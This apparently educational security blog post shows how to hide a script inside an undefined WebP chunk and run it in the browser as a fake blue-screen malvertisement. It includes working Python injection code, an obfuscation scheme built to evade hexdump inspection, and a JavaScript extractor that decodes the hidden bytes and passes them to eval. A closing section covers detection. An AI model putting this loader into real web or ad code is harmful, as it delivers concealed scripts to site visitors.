Smuggling Of A Malvertisement Payload Using Undefined WebP Image Chunks

(Updated: )

Foreword â–Ľ
Read Time 9 minutes
Goal Demonstrating how the extended webp format VP8X can be used to smuggle data using undefined chunks
Audience
IoC
Disclaimer This article is written for educational purposes and is intended only for legal penetration testing and red teaming activities, where explicit permission has been granted. If you wish to test any of the scripts provided, refer to the disclaimer.

Wow, we released the first part of “hiding data in plain sight” over a year ago. While the first article focussed on a gimmicky custom header obfuscation method, we’ve since moved to researching embedding data into images. Since then, we’ve seen the introduction (and widespread implementation) of Click- and FileFix styled attacks, which we’ve followed with great interest. We’ve read many articles on these kind of attacks implement custom obfuscation methods, and love experimenting with this using our own techniques.

Fun fact: At first we didn’t really believe the *Fix approach would result in a viable attack method, it seemed too obvious. Boy were we wrong.

So, without further ado, welcome to part four of “hiding data in plain sight”. In the last article, we’ve explored ancillary chunks in PNG images. Now, using PNG images is perfectly fine, but in the modern web, we all love WebP images. They provide smaller file sizes than JPEG and PNG while maintaining high quality, helping websites load faster. Since we use WebP images ourselves, a simple question arose: can we hide data in a WebP image using a chunk-like feature?

Also, in the last installment of this series we’ve played around with a drive-by download using the data hidden in an image. So continuing on that, we thought, can we also use this to smuggle ourselves a convincing fake blue screen of death to the client? In our opinion, it came out looking great:

Image of a fake blue screen of death built in HTML
Okay, the barcode may not be that convincing.

So keeping the above in mind, we’ve set ourselves the following goal:

Create a somewhat realistic newssite which displays badly implemented advertisements. Simulate a malvertisement attack and smuggle a fake blue screen of death to the user. Take over the screen when the user attempts to close the advertisement.

WebP And VPX8

WebP’s extended format (VP8X) supports several optional chunks for ICC, XMP, EXIF, and animation. It also contains unused bits marked as reserved. Bit 18 of the flags field is labeled “thumbnail present”, but it is never used. The format accepts the bit being set without consequence, which creates a quiet space for abuse.

By setting the thumbnail bit and adding a fake THMB chunk, arbitrary data can be stored inside a valid WebP file. The image renders the same in all browsers and editors, and the payload survives saves and conversions. The THMB chunk is not part of the official spec, yet decoders ignore it as instructed. So, we figured we could also just skip setting any flags and adding a custom chunk and the decoder would ignore that as well. We were right.

So in short, the technical process of hiding the data looks as follows:

  1. Start with a normal JPEG.
  2. Convert it to a basic VP8 WebP.
  3. Wrap it into a VP8X container, set no flags.
  4. Append a THMB RIFF chunk containing raw data.
  5. Update the top-level RIFF size field.

The result is a valid WebP with hidden data in the final bytes, fully compatible with modern browsers like Chrome, Firefox, and Safari.

Notes For Forensics

  • In our case, no flags are set in the VP8X container.
  • Unknown chunks are ignored by all major browsers and libraries.
  • The capacity is up to 4 GB by spec, hundreds of megabytes in practice.

Stegdetect and other scanners skip RIFF metadata, so the custom chunk is missed entirely. Forensic tools that inspect EXIF or pixel domains find nothing. The payload persists through normal saves unless the image is fully re-encoded with new pixel data.

ImageHelper

It’s time for some code! First things first, we’re setting up a simple class which will contain the logic described above. While we only mentioned a chunk marked THMB, below code accepts a dynamic marker. We’ll get back to that later.


import struct, os
from PIL import Image

class ImageHelper:
    def __init__(self, marker=bytes):
        self.__marker = marker

    def riff_pad(self, data: bytes) -> bytes:
        """RIFF chunks are padded to even length."""
        return data + (b'\x00' if len(data) & 1 else b'')

The ImageHelper class contains a few methods to handle and convert images using Pillow, but because these are trivial and to keep the included lines of code limited, we’ve only highlighted these two methods:

  • wrap_vp8x: Wraps a WebP, converts it to its extended format VP8X.
  • inject: Inject a byte array (arbitrary payload) into a custom chunk.

First up, the wrap_vp8x function.

This function takes a basic WebP image and wraps it into the extended VP8X format. Standard WebP files often just contain a VP8 chunk with pixel data, while extended WebP files start with a VP8X header that adds metadata like width, height, and optional feature flags.

The function scans the input bytes for the VP8 chunk, extracts it, and then builds a new VP8X chunk with the given width and height. These values are encoded in the special WebP way, both stored minus one and packed into 3 bytes each. Finally, it reassembles everything into a valid RIFF container (RIFF + size + WEBP + chunks).


    def wrap_vp8x(self, webp: bytes, w: int, h: int):
        """ Wrap a WebP image in its extended format vp8x """
        off = 12
        vp8_chunk = None

        while off + 8 <= len(webp):
            tag = webp[off:off+4]
            size = struct.unpack('<I', webp[off+4:off+8])[0]
            end = off + 8 + size + (size & 1)

            if tag == b'VP8 ':
                vp8_chunk = webp[off:end]
                break
            off = end

        if vp8_chunk is None:
            raise ValueError("No VP8 chunk found")

        # VP8X payload
        flags = 0
        w24 = (w - 1) & 0xFFFFFF
        h24 = (h - 1) & 0xFFFFFF

        vp8x_payload = (
            struct.pack('<I', flags) +
            struct.pack('<I', w24)[:3] +
            struct.pack('<I', h24)[:3]
        )

        vp8x_chunk = b'VP8X' + struct.pack('<I', 10) + vp8x_payload
        vp8x_chunk = self.riff_pad(vp8x_chunk)

        riff_body = vp8x_chunk + vp8_chunk
        riff_size = 4 + len(riff_body)

        return b'RIFF' + struct.pack('<I', riff_size) + b'WEBP' + riff_body

Next up, the inject function:

This method hides custom data inside a WebP image without breaking it. It reads the WebP file as bytes, then creates a private RIFF chunk (using a lowercase marker so standard decoders safely ignore it). The raw payload is padded to even length, wrapped with the proper header (<marker> + size + payload), and slotted right after the VP8X chunk, the extended WebP header.

After inserting the new chunk, it recalculates the RIFF container size so the file remains valid. The result is a normal‑looking WebP image that quietly carries an embedded payload, perfect for hiding data in plain sight.


    def inject(self, webp, raw_payload) -> bytes:
        with open(webp, 'rb') as f:
            data = bytearray(f.read())

        # Create private RIFF chunk (lowercase = safe/unknown)
        payload = self.riff_pad(raw_payload)
        chunk = self.__marker + struct.pack('<I', len(raw_payload)) + payload

        # Insert after VP8X chunk
        off = 12
        insert_pos = None

        while off + 8 <= len(data):
            tag = data[off:off+4]
            size = struct.unpack('<I', data[off+4:off+8])[0]
            end = off + 8 + size + (size & 1)

            if tag == b'VP8X':
                insert_pos = end
                break
            off = end

        assert insert_pos != None, ValueError("No VP8X chunk found")

        data[insert_pos:insert_pos] = chunk

        # Fix RIFF size
        struct.pack_into('<I', data, 4, len(data) - 8)

        return bytes(data)

Fun And Games

Very cool. At this point we’re embedding data into a valid (extended) WebP image at an unexpected location. However, is it hidden? Not so much, as you can see below:

Fetching and hexdumping the hidden data
It is in plain sight, not so hidden

If you want, you can verify this by running:


curl -s 'https://ignifexlabs.com/assets/img/2026-02-23-hiding-data-in-plain-sight-4/demo-data-visible.webp' \
| hexdump -C \
| grep -C 2 -iE "HERE I AM"

But, as nobody can tell us what to do, we came up with quite a stupid plan. To take “hiding data in plain sight” quite literaly, we decided to mask our injected data in hexdump, which ment we had to change the way it looks.

First, we dealt with the marker itself. Instead of using thmb, we figured why not use four dots? This is valid, and is displayed the same way as null bytes. A trick we later applied to the payload itself as well:

  1. <I AM HIDDEN>: The raw data.
  2. PEkgQU0gSElEREVOPg==: Base64 encoded data.
  3. ==gPOVERElESg0UQgkEP: Reversed data.
  4. ~~gPOVERElESg0UQgkEP: Replaced = with ~.
  5. ~~g..PO.VER..ElE..Sg0.UQ.gk..EP: Randomized dots.
Image of the applied obfuscation methods
Hidden in plain sight

So Now What?

Luckily, a lot of what we’ve written for ancillary chunks in PNG images could be reused. So we’re using the same deferred image loading technique and will not be including that again.

The process JavaScript function parses a Blob into bytes, searches for the marker (….), reads a uint32 size field, slices out the payload, trims trailing nulls, UTF‑8 decodes it, reverses the string, normalizes Base64 (~ to =), decodes it, and executes the result via eval.


async function process(blob) {
    const buffer = await blob.arrayBuffer();
    const bytes = new Uint8Array(buffer);
    const marker = [0x2e, 0x2e, 0x2e, 0x2e]; // ....
    let pos = -1;

    // Find our marker
    for (let i = 0; i <= bytes.length - marker.length; i++) {
        let found = true;
        for (let j = 0; j < marker.length; j++) {
            if (bytes[i + j] !== marker[j]) {
                found = false;
                break;
            }
        }
        if (found) {
            pos = i;
            break;
        }
    }
    if (pos === -1) { /* No hidden data */ return; }

    try{
      // Read uint32 size
      const view = new DataView(buffer);
      const size = view.getUint32(pos + 4, true);
      // Extract hidden data
      let hidden = bytes.slice(pos + 8, pos + 8 + size);
      // Find 0x00
      let end = hidden.length;
      while (end > 0 && hidden[end - 1] === 0x00) { end--; }
      // Decode (ignore errors)
      const decoder = new TextDecoder("utf-8", { fatal: false });
      eval(atob(decoder.decode(hidden.slice(0, end)).split("").reverse().join("").replaceAll(".", "").replaceAll("~", "=")));
    } catch { }
}

At the beginning of the article we set ourselves the following goal:

Create a somewhat realistic newssite which displays badly implemented advertisements. Simulate a malvertisement attack and smuggle a fake blue screen of death to the user. Take over the screen when the user attempts to close the advertisement.

Using the injected code, putting it all together in a the malvertisement concept, it came out pretty convincing:

Video showing the final demo
The 'Full screen' warning should save some people. We hope.

Defense: Detection And Inspection

So, we’re looking for the above example strings (.... and ~~g..PO.VER..ElE..Sg0.UQ.gk..EP). The example image with the hidden data was uploaded to this site as well, and can be extracted using the following oneliner:

  1. Fetch the image.
  2. Cut the newlines.
  3. Look for our pattern, everything between four dots and the terminator VP8 using regex: \.{4}\K.+?(?=VP8).
  4. Reverse the string.
  5. Revert replaced characters, cut dots and control characters.
  6. Decode the string.

curl -s 'https://ignifexlabs.com/assets/img/2026-02-23-hiding-data-in-plain-sight-4/demo-data-hidden.webp' \
| tr -d '\n' \
| grep -a -o -iP '\.{4}\K.+?(?=VP8)' \
| rev | tr -d '.' \
| sed 's/~/=/g' \
| tr -d '\000-\037' \
| base64 -d

We can also check for unknown chunks using webpinfo, part of the webp package:


webpinfo -diag demo-data-hidden.webp 1>/dev/null

# Warning: Unknown chunk at offset     30, length     38

As mentioned in the article about ancillary chunks in PNG images, the JavaScript used to extract and decode the hidden data has some indicators something is uncommon going on:

  • Usage of 0x2e and 0x00.
  • Usage of Uint8Array, arrayBuffer, DataView and DataView.
  • Usage of eval and atob.

However, these are not very strong indicators. In the case of malvertisement and protecting your own platform, be thoughtful how third party advertisements are loaded. If possible, run then in a contained iFrame. Otherwise, apply a strict Content Security Policy and pick your partners carefully.

Written by

Rutger
Rutger

Security researcher
Bob
Bob

Security researcher

Related Articles

Ancillary chunks are a perfect place to stock away sensitive info

Ancillary chunks are a perfect place to stock away sensitive info

At last, it is time for part three of “Hiding Data In Plain Sight”! Previously,...

By Rutger and Bob on
Using LSB To Hide Data In My Socks

Using LSB To Hide Data In My Socks

Well, that’s a bit of a weird title, maybe it needs some context. In this...

By Rutger and Bob on